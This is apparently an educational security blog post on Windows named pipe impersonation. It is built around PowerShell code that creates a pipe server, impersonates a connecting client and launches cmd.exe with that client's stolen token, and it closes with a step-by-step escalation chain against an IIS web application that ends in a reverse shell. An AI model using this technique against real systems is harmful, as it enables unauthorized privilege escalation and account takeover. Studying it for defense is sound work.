Named pipes are nothing new, it’s a an old technology you will find in many operating systems (Unix, Windows,…) to permit asynchronous or synchronous inter-process communication (IPC) on the same computer or on different computers across the network. With named pipes you can send/receive and share data between processes using the memory. They are very similar to TPC/IP sockets, you have a server which listens for connections and clients which connects to the server in order to request or send data.
Named Pipes are heavily used in Windows, just launch pipelist and you will see a bunch of pipes and related info:
You can list named pipes from powershell too (try it!):
Named pipes are managed through Windows API calls. For the server process you will use the functions: CreateNamedPipe() and ConnectNamedPipe() , for the client process CreateFile() or CallNamedPipe(). Once you have the handle to your named pipe, you can read/write data as if it was a file. Each pipe is identified by the following “path”:
It is possible to play with named pipes in various languages: C, C# and, why not, also powershell.
Ok, back to us, why should we care about named pipes? Because they permit the server process to impersonate the client process which is connecting to it. Here comes the magic API call ImpersonateNamedPipeClient().
So, if you have a named pipe server running as a non admin user and an admin process connects to your pipe, you could in theory impersonate the admin user. Why only in theory? Because you need a special privilege, SeImpersonatePrivilege, which is normally held by privileged users and the various service and virtual accounts. Seems more interesting now?
Well, this feature, despite it’s simplicity and obviousness, is often not well known or misunderstood, especially among young “infosec people”.
Therefore I decided to write this little post, starting from a very simple powershell pipeserver example because, as usual, some pieces of codes are much more explanatory than thousands of words.
If you want to try it at home, grant to your standard Windows user (Attacker) the SeImpersonatePrivilege via “gpedit.msc” and download the above mentioned powershell script.
PS>whoami MYSUPERCOMPUTER\Attacker PS>.\pipeserverimpersonate.ps1
What are we doing in this script? (I will omit all the PS code in order to access the API’s)
First of all, we create a “named pipe security object” in order to grant to everyone read/write permissions to our named pipe.
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) $PipeSecurity.AddAccessRule($AccessRule)
Next, we instantiate the bidirectional named pipe server stream “pipedummy”, with maximum 10 instances, buffer size of 1024 for input/output and associate the access control list. After that the pipe is accessible via its handle:
$pipename="pipedummy" $pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipename,"InOut", 10, "Byte", "None", 1024, 1024, $PipeSecurity) $PipeHandle = $pipe.SafePipeHandle.DangerousGetHandle()
The named pipe is ready for accepting client connections:
Once a client connects, we need to read data that the client is sending to us (server):
$pipeReader = new-object System.IO.StreamReader($pipe) $Null = $pipereader.ReadToEnd()
We don’t always need to write code for connecting a client to a named pipe, just redirect some output to the named pipe from the victim’s command prompt:
C:\>whoami MYSUPERCOMPUTER\victim C:\>echo test > \\.\pipe\pipedummy
In the Attacker PS shell, we can impersonate the client in the current thread:
#we are still Attacker $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) #now we are impersonating the user (Victim), $user=[System.Security.Principal.WindowsIdentity]::GetCurrent().Name echo $user # everything we do BEFORE RevertToSelf is done on behalf that user $RetVal = $RevertToSelf.Invoke() # we are again Attacker
We can issue Powershell commands in the context of the impersonated user, for example creating a file in the user’s home directory:
$fname="c:\users\" +$user.substring($user.IndexOf("\")+1) + "\test.txt" Set-Content -path $fname -value "test"
Can we launch a process too? Yes, but not directly. We need to get the thread’s token (we are impersonating “Victim”) and then use this token to launch a new process as user “Victim”.
#we are Victim #get the current thread handle $ThreadHandle = $GetCurrentThread.Invoke() [IntPtr]$ThreadToken = [IntPtr]::Zero #get the token of victim's thread [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_ALL_ACCESS, $true, [Ref]$ThreadToken)
Once we have the token, we can use it in conjunction with the CreateProcessWithToken()
$RetVal = $RevertToSelf.Invoke() # we are again Attacker $pipe.close() #run a process as the previously impersonated user $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) $memset.Invoke($ProcessInfoPtr, 0, $ProcessInfoSize) | Out-Null $processname="c:\windows\system32\cmd.exe" $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($processname) $ProcessArgsPtr = [IntPtr]::Zero $Success = $CreateProcessWithTokenW.Invoke($ThreadToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() echo "CreateProcessWithToken: $Success $ErrorCode"
This function needs SeImpersonatePrivilege, that’s why we call before RevertToSelf() in order to get back to our user (Attacker) who has the privilege and can run a process with Victim’s token.
Side note: CreateProcessWithToken() relies on the “Secondary Logon Service”, so if this one is disabled the call will fail.
And now that we know how named pipe works, how can we take advantage of impersonation?
It’s relatively simple, we have to “trick” a privileged process (or just the user we want to impersonate) to write into our named pipe… but how?
Well, there could be many scenarios, for example this one, based on “true story”:
- you are facing with a dotnet web application with Windows Integrated Authentication
- you are able to access the admin backend using a weak local password
- From the admin panel you can specify the Logfile which records the users activities
- From the admin panel you can get an RCE (in this case it was possible to upload an .aspx file).
- The webserver is running under the standard IIS AppPool user which has SeImpersonate privilege by default.
Putting it all together the steps towards the privilege escalation are now obvious:
- specify for the Logfile a named pipe (\\.\pipe\logfile)
- obtain a shell as IIS AppPoolUser, create the named pipe and wait for connections
- impersonate the authenticated users writing to your Logfile
- If it is a high privileged user launch reverse shell with his token…
Combining SeImpersonatePrivilege with SeCreateSymbolicLinkPrvilege would open new interesting scenarios… but that’s all for now!